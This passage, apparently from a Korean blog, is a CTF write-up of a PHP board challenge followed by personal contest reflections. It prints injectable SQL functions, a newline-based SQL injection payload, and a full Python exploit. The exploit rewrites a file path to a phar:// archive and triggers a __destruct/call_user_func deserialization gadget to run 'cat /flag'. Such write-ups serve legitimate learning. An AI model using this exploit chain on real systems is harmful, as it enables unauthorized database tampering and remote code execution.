}
function selectBoardAll($con,$bname){
global $TPREFIX;
$sql = "SELECT * FROM $TPREFIX$bname ORDER BY idx DESC "; // 이거
return $con->fetchAll($sql);
}
function updateBoard($con,$bname,$owneridx,$idx,$title,$content){
global $TPREFIX;
$sql = "UPDATE $TPREFIX$bname SET title='$title', content='$content' WHERE owner='$owneridx' AND idx='$idx'"; // 이거
return $con->query($sql);
}
function deleteBoard($con,$bname,$owneridx,$idx){
global $TPREFIX,$list;
$sql = "DELETE FROM $TPREFIX$bname WHERE owner='$owneridx' AND idx='$idx'"; // 이거
$ret=$con->query($sql);
$sql="UPDATE $TPREFIX$LIST SET count =count -1 WHERE bname='$bname'";
return $ret;
}
?>
내가 삽입한 SQL injection 구문이 SelectboardOne에서 아무런 문제 없이 동작해야 했고,
이후 updateBoard에서도 아무런 문제 없이 동작해야했다.
(최종적으로 updateBoard에서 user테이블의 filepath를 업데이트 해야하기 때문)
난 이걸 해결 하기 위해서 테이블 조인, 별칭 등의 방법을 생각했었고,
그걸로 대회 끝나기 전까지 계속 시도를 했었는데..
끝나고 보니까 그냥 개행문자 써서 엄청 쉽게 할 수 있었다.
개행 문자로 SQL 필터링 우회하는 거 내가 웹 해킹 처음 시작할 때 배운 거 였는데...
까먹고 살다가 이번에 다시 배우게 되었다.
최종적인 익스코드는 아래와 같았다.
(ohk990102님의 익스 코드인데, 문제 시 삭제하겠습니다)
import requests
URL = 'http://52.79.217.37:10001'
# URL = 'http://localhost:10001'
cmd = 'cat /flag'
with open('./create_phar_template.php', 'r') as f:
with open('./create_phar.php', 'w') as wf:
wf.write(f.read().replace('$REPLACE_THIS', cmd))
import os
os.system('php --define phar.readonly=0 create_phar.php')
with requests.Session() as s:
r = s.post(URL + '/users/registerapi.php', data={
'user': 'ohk990102',
'pass': 'testtest'
})
r = s.post(URL + '/users/loginapi.php', data={
'user': 'ohk990102',
'pass': 'testtest'
})
r = s.post(URL + '/users/editapi.php', data={
'user': 'ohk990102',
'pass': 'testtest'
}, files={
'file': ('file.png', open('test.phar', 'rb'), 'image/png')
})
r = s.post(URL + '/users/loginapi.php', data={
'user': 'ohk990102',
'pass': 'testtest'
})
r = s.post(URL + '/users/profileapi.php')
upload_path = '/var/www/html' + r.json()['filepath']
r = s.post(URL + '/board/createapi.php', data={
'title': 'hello',
'content': 'world',
'bname': 'main'
})
index = r.json()['idx']
index = r.text.split('"idx":')[1].rstrip("}")
filepath_to_inject = f'phar://{upload_path}'
filepath_to_inject = '0x' + filepath_to_inject.encode().hex()
r = s.post(URL + '/board/editapi.php', data={
'idx': index,
'bname': 'test\\' UNION SELECT "","main,users#","","";#',
'toname': 'main,users#',
'title': f'\n SET users.filepath={filepath_to_inject} WHERE users.user=0x6f686b393930313032#',
})
print(r.text)
r = s.post(URL + '/users/profileapi.php')
print(r.text)
아무튼 SQLI를 통해 결과적으로 filepath를 변조할 수 있었고,
이후에는 내 예상대로 php 7.4 deserialization이었다.
익스에 사용된 php class는
<?php
require_once 'dbconfig.php';
class DBCON{
private $mysqli;
public $func = '';
public $args = '';
/**
* @param string $host 데이터베이스 호스트
* @param string $dbname 데이터베이스 이름
* @param string $username 사용자 이름
* @param string $password 비밀번호
*/
public function __construct( $dbname = null, $username = null,$host = null, $password = null){
// .env 방식
// $host = getenv('DB_HOST');
if( $username && $dbname){
$this->mysqli = new mysqli(DB_HOST, $username, DB_PASS, $dbname);
}else{
$this->mysqli = new mysqli(DB_HOST, DB_USER, DB_PASS,DB_NAME);
}
if ($this->mysqli->connect_error) {
die("데이터베이스 연결 실패: " . $this->mysqli->connect_error);
}
}
/**
* 쿼리 실행
*
* @param string $sql SQL 쿼리
* @return mysqli_result|bool 쿼리 실행 결과
*/
public function query($sql){
$sql = trim($sql);
if (empty($sql)) {
die("잘못된 쿼리");
}
$result = $this->mysqli->query($sql);
if (!$result) {
die("쿼리 실행 실패: " . $this->mysqli->error);
}
if($this->mysqli->insert_id){
return $this->mysqli->insert_id;
}
return $result;
}
/**
* SELECT 쿼리 실행 후 결과 반환
*
* @param string $sql SQL 쿼리
* @return array|null 쿼리 결과, 결과가 없으면 null
*/
public function fetchOne($sql){
$result = $this->query($sql);
return $result->fetch_assoc(); // 결과를 연관 배열로 반환
}
/**
* 결과에서 연관 배열로 모든 행 가져오기
*
* @param string $sql SQL 쿼리
* @return array 쿼리 결과
*/
public function fetchAll($sql){
$result = $this->query($sql);
return $result->fetch_all(MYSQLI_ASSOC); // 연관 배열로 모든 결과 반환
}
/**
* 데이터베이스 연결 종료
*/
public function close(){
$this->mysqli->close();
}
function __destruct() {
if(!empty($this->func)){
call_user_func($this->func, $this->args);
}
}
}
?>
DBCON class를 쓰셨다고 한다.
__destruct의 call_user_func를 악용하면 쉽게 rce를 할 수 있었을 것이다.
머 아무튼 그렇다.
진짜 한 단계 남기고 못푼 게 아쉬운 문제였다.
후기
아 이거 갑자기 생각난건데, cmsaudit 문제에서 로컬 도커 빌드 했는데
플래그가 없길래 이거 때매 개고생했다.
원래 내 문제 풀이 방식이 플래그 형태를 보고, 취약점을 찾는데..
ex) 플래그가 실행파일로 있다 -> RCE겠구나!
근데 플래그 없길래 내가 빌드를 잘못했나..? 아니면 플래그가 다른 경로에 있나..?
하면서 플래그 찾아다녔다.
근데 없길래 문의해보니까 일부러 안넣었다고 한다.
개인적으로 많이 안타까웠다.
그래도 문제 자체는 진짜 열심히 고민해서 만든 티가 나서 좋았고,
푸는 과정도 재밌어서 문제는 엄청 마음에 들었다.
GG.
전체 후기
이제 올해부턴 청소년부가 아니라 일반부로 출전해야 하는 게 아쉽다.
그래도 청소년부에서 많은 추억, 많은 커리어, 많은 인맥 만들 수 있어서
나쁘지 않았다고 생각한다.
올해부턴 성인이 되서 일반부로 나가는데, 본선은 그래도 갈 거 같고
수상도 할 수 있으면 좋겠다.
그리고 좋은 점은 이제 개인전이 없어서 올라운더가 유리한 CTF가 없어졌다는 점이다.
아주 나이스하다.
항상 좋은 문제 출제해주시는 문제 출제진분들과
대회 운영에 힘 써주시는 모든 분들께 감사의 말을 올립니다.
덕분에 2024년 즐겁게 대회 참여할 수 있었습니다.
감사합니다.
'후기,라이트업' 카테고리의 다른 글
2024 WhitehatContest 2024 Preliminaries 후기 + KETC-Admin-Main WriteUp (4) | 2024.10.20 |
---|---|
2024 CCE & CodeGate 2024 Final Web Writeups (9) | 2024.09.18 |
2024 CCE CTF Preliminaries Web All Writeup (0) | 2024.08.05 |
Theori SA팀 최종합격 후기 (5) | 2024.05.14 |
2024 LA CTF Web writeup (9) | 2024.02.20 |